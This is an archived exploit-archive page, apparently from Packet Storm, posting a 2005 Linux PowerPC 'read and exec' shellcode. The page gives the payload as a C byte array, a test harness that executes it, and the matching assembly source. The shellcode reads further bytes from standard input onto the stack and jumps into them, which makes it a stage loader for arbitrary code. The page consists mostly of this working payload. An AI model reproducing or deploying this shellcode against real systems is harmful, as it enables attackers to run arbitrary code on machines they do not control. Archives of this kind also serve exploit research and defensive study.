Twenty Year Anniversary

readnexecppc-core.c

readnexecppc-core.c
Posted Nov 8, 2005
Authored by Charles Stevenson | Site bokeoa.com

read(0,stack,1028); stack(); shellcode for Linux PPC. readnexecppc-core.s appended.

tags | shellcode, ppc
systems | linux
MD5 | 6b299851ab43c563f9db06647b83cc94

readnexecppc-core.c

Change Mirror Download
/* readnexecppc-core.c by Charles Stevenson <core@bokeoa.com> */
char hellcode[] = /* read(0,stack,1028); stack(); linux/ppc by core */
"\x7c\x63\x1a\x79" /* xor. r3,r3,r3 */
"\x38\xa0\x04\x04" /* li r5,1028 */
"\x30\x05\xfb\xff" /* addic r0,r5,-1025 */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x44\xde\xad\xf2" /* sc */
"\x69\x69\x69\x69" /* nop */
"\x7c\x29\x03\xa6" /* mtctr r1 */
"\x4e\x80\x04\x21"; /* bctrl */

int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte read & exec shellcode for linux/ppc by core\n",
strlen(hellcode));
shell();
return 0;
}

#;; read(0,stack,1024); stack();
#;; by Charles Stevenson (core) <core@bokeoa.com>
.globl main
main:
xor. %r3,%r3,%r3 #; file descriptor
li %r5, 1028 #; 1028 bytes
addic %r0,%r5,-1028+3 #; __NR_read
mr %r4,%r1 #; (void *) stack pointer
.long 0x44deadf2 #; syscall
.long 0x69696969 #; nop
mtctr %r1 #; move stack pointer into ctr
bctrl #; branch to ctr

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    7 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    40 Files
  • 23
    May 23rd
    64 Files
  • 24
    May 24th
    55 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close